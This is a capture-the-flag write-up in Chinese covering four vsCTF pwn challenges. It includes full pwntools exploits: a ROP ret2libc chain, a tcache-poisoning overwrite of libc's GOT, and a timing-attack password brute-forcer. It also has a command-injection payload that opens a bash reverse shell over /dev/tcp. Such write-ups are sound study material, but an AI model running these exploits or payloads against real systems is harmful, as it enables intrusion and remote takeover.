题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn

pwn

cosmic-ray-v3

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rax

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  cosmic_ray();
  v3 = sys_exit(0);
  return 0;
}

__int64 cosmic_ray()
{
  __off_t offset; // [rsp+8h] [rbp-28h] BYREF
  char v2; // [rsp+12h] [rbp-1Eh] BYREF
  char buf; // [rsp+13h] [rbp-1Dh] BYREF
  unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  int fd; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  puts("Enter an address to send a cosmic ray through:");
  __isoc99_scanf("0x%lx", &offset);
  getchar();
  putchar(10);
  fd = open("/proc/self/mem", 2);
  lseek(fd, offset, 0);
  read(fd, &buf, 1uLL);
  v6 = byte_to_binary((unsigned int)buf);
  puts("|0|1|2|3|4|5|6|7|");
  puts("-----------------");
  putchar(124);
  for ( i = 0; i <= 7; ++i )
    printf("%d|", (unsigned int)*(char *)(i + v6));
  putchar(10);
  putchar(10);
  puts("Enter the bit position to flip:");
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 >= 8 )
    exit(1);
  v5 = flip_bit(v6, v4);
  v2 = binary_to_byte(v5);
  putchar(10);
  printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
  lseek(fd, offset, 0);
  write(fd, &v2, 1uLL);
  return 0LL;
}

这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的

然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节

这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了

.text:00000000004015E0 E8 E9 FD FF FF                call    cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
.text:00000000004015ED 0F 05                         syscall                                 ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00                mov     eax, 0
.text:00000000004015F4 5D                            pop     rbp
.text:00000000004015F5 C3                            retn
.text:00000000004015F5                               ; } // starts at 4015AB

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "vsc.tf"
PORT = 7000

elf = context.binary = ELF('./cosmicrayv3')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

addr = "0x4015E5"
main = 0x4015AF
bss = 0x3fe000

# .text:00000000004015E5 B8 3C 00 00 00                mov     eax, 3Ch ; '<'
# .text:00000000004015EA 48 31 FF                      xor     rdi, rdi                        ; error_code
# .text:00000000004015ED 0F 05                         syscall    


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6") # stackover flow

# .text:00000000004015AF 55                            push    rbp
# .text:00000000004015B0 48 89 E5                      mov     rbp, rsp
# .text:00000000004015B3 48 8B 05 66 2A 00 00          mov     rax, cs:stdout@GLIBC_2_2_5
# .text:00000000004015BA BE 00 00 00 00                mov     esi, 0                          ; buf
# .text:00000000004015BF 48 89 C7                      mov     rdi, rax                        ; stream
# .text:00000000004015C2 E8 49 FB FF FF                call    _setbuf

payload = b'a' * (0x3c - 0x6 - 0x8) + p64(bss + 0x100) + p32(0x4015B0) + b'\x00\x00'
s(payload) 


addr = "0x4015E7"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2") # modify size
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)

# print(disasm(asm("pop rdi; ret")))
#    0:   5f                      pop    rdi 01011111
#    1:   c3                      ret 11000011

# 0x40100c - 0x40100d 0x2f(00101111) 0x00(00000000)
# 1 2 3
# 0 1 6 7


addr = "0x40100c"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)


sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","3")
s(payload)

addr = "0x40100d"

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","0")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6")
s(payload)

sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
s(payload)


pop_rdi_ret = 0x000000000040100c
getchar_got = elf.got['getchar']
puts_plt = elf.plt['puts']


addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(getchar_got) + p64(puts_plt) + p64(0x00000000004015AF)
s(payload)

rl()
rl()
rl()
r(1)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7c5725c87ae0 - 0x7c5725c00000)
success(f"libc_base ->{hex(libc_base)}")

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a

addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
# g(p)
s(payload)




p.interactive()

vs-gateway

程序的逻辑

use std::io::{self, Write};
use std::process::{Command, self};
use std::fs;
use md5;
use rand::{self, Rng};

pub static mut ESSID: String = String::new();
static BSSID: &str = "94:4e:6f:d7:bf:05";
static mut BAND: String = String::new();
static mut CHANNEL: i32 = 0;
static mut WIFI_PASSWORD: String = String::new();
static mut ID: u64 = 0;

fn check_password(password: String) -> bool{
    let digest = md5::compute(password.trim());
    if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {
        true
    }
    else{
        false
    }
}

fn auth() -> bool{
    let mut username = String::new();
    let mut password = String::new();

    print!("Username: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut username).expect("Cannot read username!");
    
    print!("Password: ");
    io::stdout().flush().unwrap();
    io::stdin().read_line(&mut password).expect("Cannot read username!");

    if username.trim() == "admin" && check_password(password){
        println!("Access granted!");
        true
    }
    else{
        println!("Access forbidden!");
        false
    }
}

fn save_properties_to_file(){
    unsafe{
        let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");
    }
}

fn show_properties(){
    unsafe{
        println!("--- PROPERTIES -----------------------------");
        println!("Essid\t\t{ESSID}");
        println!("Bssid\t\t{BSSID}");
        println!("Band\t\t{BAND}GHz");
        println!("Channel\t\t{CHANNEL}");
        println!("Password\t{WIFI_PASSWORD}\n");
    }
}

fn change_essid(){
    let mut input: String = String::new();
    let mut done = false;

    unsafe{
        println!("Current essid: {ESSID}");
        while !done {
            done = true;
            print!("New essid: ");
            io::stdout().flush().unwrap();
            input.clear();
            io::stdin().read_line(&mut input).expect("Failed to readline");
            for c in input.trim().chars(){
                if !"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ".contains(c){
                    done = false;
                    break
                }
            }
        }
        ESSID = input.trim().to_owned();
        println!("Done!");
    }
    save_properties_to_file();
}

fn change_wifi_band(){
    unsafe{
        println!("Current band: {BAND}GHz");
        if BAND=="2.4"{
            BAND = String::from("5");
            CHANNEL = 100;
        }
        else{
            BAND = String::from("2.4");
            CHANNEL = 6;
        }
        println!("New band: {BAND}GHz");
    }
    save_properties_to_file();
}

fn change_channel(){
    let mut input: String = String::new();
    let mut channel_tmp: i32;

    unsafe{
        print!("Current band: {BAND}GHz ");
        if BAND == "2.4"{
            println!("(from 1 to 11)")
        }
        else{
            println!("(from 36 to 165)")
        }
        println!("Current channel: {CHANNEL}");
        loop {
            print!("New channel: ");
            io::stdout().flush().unwrap();
            input.clear();
            io::stdin().read_line(&mut input).expect("Failed to readline");
            channel_tmp = input.trim().parse().expect("Invalid number");
            if BAND == "2.4" && (1..12).contains(&channel_tmp){
                CHANNEL = channel_tmp;
                break;
            }
            else if BAND == "5" && (36..166).contains(&channel_tmp){
                CHANNEL = channel_tmp;
                break;
            }
        }
        println!("Done!\n");
    }
    save_properties_to_file();
}

fn change_wifi_password(){
    let mut input: String = String::new();

    unsafe{
        println!("Current password: {WIFI_PASSWORD}");
        print!("New password: ");
        io::stdout().flush().unwrap();
        input.clear();
        io::stdin().read_line(&mut input).expect("Failed to readline");
        WIFI_PASSWORD = input.trim().to_owned();
        println!("Done!");
    }
    save_properties_to_file();
}

fn menu(){
    println!("--- MENU ---------------------");
    println!("1. Show properties");
    println!("2. Change essid");
    println!("3. Change wifi band");
    println!("4. Change channel");
    println!("5. Change wifi password");
    println!("6. Exit");
    print!("> ");
    io::stdout().flush().unwrap();
}

fn load_data(){
    unsafe{
        ID = rand::thread_rng().gen_range(1..0xffffffffffffffff);

        let cmd = format!("echo \"View Source Guest\\n2.4\\n6\\n123456789\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");

        let datas = fs::read_to_string(format!("/tmp/{ID}.conf")).expect("Cannot load default data");
        let mut parts = datas.split("\n");
        ESSID   = parts.nth(0).expect("Error when parsing essid").to_owned();
        BAND    = parts.nth(0).expect("Error when parsing band").to_owned();
        CHANNEL = parts.nth(0).expect("Error when parsing channel").to_owned().parse().unwrap();
        WIFI_PASSWORD = parts.nth(0).expect("Error when parsing wifi password").to_owned();
    }
}

fn run(){
    let mut choice;
    let mut input = String::new();

    load_data();
    show_properties();
    loop {
        menu();
        input.clear();
        io::stdin().read_line(&mut input).expect("Cannot read input!");
        choice = match input.trim().parse() {
            Ok(num) => num,
            _ => 0
        };
        match choice {
            1 => show_properties(),
            2 => change_essid(),
            3 => change_wifi_band(),
            4 => change_channel(),
            5 => change_wifi_password(),
            6 => {
                unsafe{
                    fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();
                }
                break
            },
            _ => {
                println!("Invalid choice!");
            },
        }
    }
}

fn main() {
    println!("----------------------------");
    println!("|        VS Gateway        |");
    println!("----------------------------");

    if auth(){
        run();
    }
    process::exit(0);
}

程序是rust语言写的不太熟悉rust,不过程序逻辑很简单,很快就找到漏洞了,每次更新Gateway状态的时候都会调用save_properties_to_file() 这个函数,这个函数的功能是使用shell中 echo的方式将Gateway的状态写到配置文件中,存在一个命令注入,其中修改wifi密码选项那,没有做任何检查,只需要截断一下命令就好了 也就是构造 ;command;# 这样的表达式

fn save_properties_to_file(){
    unsafe{
        let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
        Command::new("/bin/sh")
                        .arg("-c")
                        .arg(cmd)
                        .output()
                        .expect("Failed to execute command");
    }
}

不过很奇怪的地方是,执行命令后没有回显,尝试重定向fd 还有 /dev/stdout这样的伪文件系统去输出结果,都不太行,后面想到可以反弹shell

password123";/bin/bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1";#

shs

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-1Ch]
  char s[11]; // [rsp+Dh] [rbp-13h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Enter the password:");
  fgets(s, 11, stdin);
  if ( (unsigned int)strlen(s) != 10 )
  {
    puts("Wrong password!");
    exit(0);
  }
  for ( i = 0; i <= 9; ++i )
  {
    if ( (unsigned __int8)getPassChar((unsigned int)i) != s[i] )
    {
      puts("Wrong password!");
      exit(0);
    }
  }
  puts("Welcome, admin!");
  system("/bin/sh");
  return v7 - __readfsqword(0x28u);
}

__int64 __fastcall getPassChar(unsigned int a1)
{
  const char *v1; // rsi
  const char *v2; // rax
  unsigned __int8 v4; // [rsp+1Ah] [rbp-36h]
  __int64 v5; // [rsp+20h] [rbp-30h] BYREF
  __int64 v6; // [rsp+28h] [rbp-28h]
  char s[10]; // [rsp+33h] [rbp-1Dh] BYREF
  char v8[11]; // [rsp+3Dh] [rbp-13h] BYREF
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v6 = archive_read_new();
  archive_read_support_filter_all(v6);
  archive_read_support_format_all(v6);
  if ( (unsigned int)archive_read_open_filename(v6, "password.txt.tar.gz", 10240LL) )
  {
    puts("Failed to open archive");
    exit(1);
  }
  snprintf(s, 0xAuLL, "%d.txt", a1);
  while ( !(unsigned int)archive_read_next_header(v6, &v5) )
  {
    v1 = (const char *)archive_entry_pathname(v5);
    if ( !strcmp("password.txt", v1) )
    {
      if ( archive_read_data(v6, v8, 10LL) != 10 )
      {
        puts("Failed to read password");
        exit(1);
      }
      v4 = v8[a1];
      break;
    }
    v2 = (const char *)archive_entry_pathname(v5);
    if ( !strcmp(s, v2) )
    {
      if ( archive_read_data(v6, v8, 1LL) != 1 )
      {
        puts("Failed to read password");
        exit(1);
      }
      v4 = v8[0];
      break;
    }
  }
  if ( !v4 )
  {
    puts("Failed to find password");
    exit(1);
  }
  if ( (unsigned int)archive_read_free(v6) )
  {
    puts("Failed to free archive");
    exit(1);
  }
  usleep(0x7A120u);
  return v4;
}

远程环境的password.txt.tar.gz 和附件中的password.txt.tar.gz 不相同,直接爆破password的话是一个指数问题,有一个sleep的逻辑usleep(0x7A120u); 可以通过判断sleep的时间来判断第i位的内容是否是正确的password

exp

from pwn import *
from string import printable
import time


context.log_level='error'

IP = "vsc.tf"
PORT = 7004 

password = list('a' * 10)

idx = 0
wait_time = 0.5
tolerance_time = 0.03

while idx < 10:
    for c in printable:
        try:
            print(f'{"".join(password)[:idx + 1]} |current character ->{c}')
            
            p = process("./shs")
            # p = remote(IP,PORT)
            p.recvuntil("password:")
            password[idx] = c
            start_time = time.time()
            p.sendline(''.join(password).encode())
            p.recvuntil(b'W') 
            end_time = time.time()
 
            p.close()
            remaining_time = (end_time - start_time - wait_time)
 
            if remaining_time > tolerance_time:
                idx += 1
                wait_time = 0.5 * (idx + 1)
                break

        except:
            pass

print("".join(password)[:idx + 1])

Domain Expansion

程序的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  while ( 2 )
  {
    while ( 1 )
    {
      menu();
      printf("Enter your choice: ");
      __isoc99_scanf("%d", &v4);
      if ( v4 <= 5 )
        break;
      if ( v4 == 260 )
      {
        if ( domain_expanded )
          puts("You cannot use this ability again!");
        else
          domain_expansion();
      }
      else
      {
LABEL_15:
        puts("Invalid choice");
      }
    }
    if ( v4 <= 0 )
      goto LABEL_15;
    switch ( v4 )
    {
      case 1:
        create();
        continue;
      case 2:
        edit();
        continue;
      case 3:
        print();
        continue;
      case 4:
        delete();
        continue;
      case 5:
        return 0;
      default:
        goto LABEL_15;
    }
  }
}

unsigned __int64 domain_expansion()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v2; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("DOMAIN EXPANSION");
  printf("Enter an index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
  {
    printf("Expanded size: ");
    __isoc99_scanf("%lu", &v2);
    getchar();
    *(_QWORD *)(*((_QWORD *)&chunks + 2 * (int)v1) - 8LL) = v2;
    qword_4068[2 * (int)v1] = v2;
    domain_expanded = 1;
  }
  else
  {
    puts("Invalid index");
  }
  return v3 - __readfsqword(0x28u);
}

unsigned __int64 create()
{
  unsigned int v0; // ebx
  unsigned int idx; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("Enter an index: ");
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx > 0xF || *((_QWORD *)&chunks + 2 * (int)idx) )
  {
    puts("Invalid index");
  }
  else
  {
    printf("Enter a size: ");
    __isoc99_scanf("%lu", &size);
    getchar();
    if ( size <= 0x1000 )
    {
      v0 = idx;
      *((_QWORD *)&chunks + 2 * (int)v0) = malloc(size);
      qword_4068[2 * (int)idx] = size;
      printf("Chunk created at index %d\n", idx);
    }
    else
    {
      puts("Too big!");
    }
  }
  return v4 - __readfsqword(0x28u);
}

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter an index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
  {
    printf("Enter data: ");
    readline(*((_QWORD *)&chunks + 2 * (int)v1), qword_4068[2 * (int)v1]);
  }
  else
  {
    puts("Invalid index");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 print()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter an index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
  {
    printf("Data: ");
    puts(*((const char **)&chunks + 2 * (int)v1));
  }
  else
  {
    puts("Invalid index");
  }
  return v2 - __readfsqword(0x28u);
}

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter an index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
  {
    free(*((void **)&chunks + 2 * (int)v1));
    *((_QWORD *)&chunks + 2 * (int)v1) = 0LL;
    qword_4068[2 * (int)v1] = 0LL;
    printf("Chunk deleted at index %d\n", v1);
  }
  else
  {
    puts("Invalid index");
  }
  return v2 - __readfsqword(0x28u);
}

glibc 2.35,domain_expanded中可以构造一个堆叠,通过tcache poison,写 libc got中strlen为system 然后去puts一个内容为binsh的堆就可以getshell了,这条利用链第一次见。

puts 一进去后会call strlen,同时call strlen的时候 rdi寄存器没有更新,然后libc.so的RELRO保护是Partial RELRO,got表还是可以写的

.text:0000000000080E50                               ; __int64 __fastcall puts(__int64)
.text:0000000000080E50                               public puts ; weak
.text:0000000000080E50                               puts proc near                          ; DATA XREF: LOAD:000000000000D0C8↑o
.text:0000000000080E50                                                                       ; LOAD:000000000000D1A0↑o
.text:0000000000080E50
.text:0000000000080E50                               var_2C= dword ptr -2Ch
.text:0000000000080E50
.text:0000000000080E50                               ; __unwind { // sub_2A160
.text:0000000000080E50 F3 0F 1E FA                   endbr64                                 ; Alternative name is '_IO_puts'
.text:0000000000080E54 41 56                         push    r14
.text:0000000000080E56 41 55                         push    r13
.text:0000000000080E58 41 54                         push    r12
.text:0000000000080E5A 49 89 FC                      mov     r12, rdi
.text:0000000000080E5D 55                            push    rbp
.text:0000000000080E5E 53                            push    rbx
.text:0000000000080E5F 48 83 EC 10                   sub     rsp, 10h
.text:0000000000080E63 E8 28 76 FA FF                call    j_strlen

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "vsc.tf"
PORT = 7001

elf = context.binary = ELF('./domainexpansion')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def create(idx, size):
    sla(b'Enter your choice: ', b'1')
    sla(b'Enter an index: ', str(idx).encode())
    sla(b'Enter a size: ', str(size).encode())

def delete(idx):
    sla(b'Enter your choice: ', b'4')
    sla(b'Enter an index: ', str(idx).encode())

def edit(idx, data):
    sla(b'Enter your choice: ', b'2')
    sla(b'Enter an index: ', str(idx).encode())
    sla(b'Enter data: ', data)

def show(idx):
    sla(b'Enter your choice: ', b'3')
    sla(b'Enter an index: ', str(idx).encode())

def expand(idx, size):
    sla(b'Enter your choice: ', b'260')
    sla(b'Enter an index: ', str(idx).encode())
    sla(b'Expanded size: ', str(size).encode())

def show_chunklist():
    gdb_comm = '''
    x /100gx $rebase(0x4060)
    bins
    '''
    gdb.attach(p,gdb_comm)



create(0,0x40)
create(1,0x80)

for i in range(2, 2 + 7):
    create(i,0x80) 

for i in range(2, 2 + 7):
    delete(i) # refill tcache
delete(1) # unsorted bin 

expand(0,0x40 + 0x8 + 0x80 + 0x8 + 0x1)
edit(0,b'a' * 0x48 + b'a' * 8) 

show(0)
ru(b'a' * 0x48 + b'a' * 8)
leak = u64(r(6).ljust(8,b'\x00')) 
libc_base = leak - (0x731437c1ace0 - 0x731437a00000)
success(f"libc_base ->{hex(libc_base)}")

edit(0,b'\x00' * 0x48 + p64(0x91)) # reset

libc_strlen_got = libc_base + 0x21a098
system = libc_base + libc.sym['system']

for i in range(2, 2 + 7):
    create(i,0x80)
create(1,0x80)

delete(1)
edit(0,b'a' * 0x48 + b'a' * 8)

show(0)
ru(b'a' * 0x48 + b'a' * 8)
heap_addr = u64(r(5).ljust(8,b'\x00'))
heap_base = heap_addr << 12
success(hex(heap_base))

edit(0,b'\x00' * 0x48 + p64(0x91) + p64(0) + p64(0)) # reset
create(1,0x80)

delete(8)
delete(1)

edit(0,b'\x00' * 0x48 + p64(0x91) + p64((libc_strlen_got - 0x18) ^ (heap_base >> 12)))

create(1,0x80)
create(9,0x80)

edit(1,b'/bin/sh\x00')
edit(9,b'\x00' * 0x18 + p64(system))

# gdb_comm = '''
# b puts
# c
# '''

# gdb.attach(p,gdb_comm)
show(1)

p.interactive()
⬆︎TOP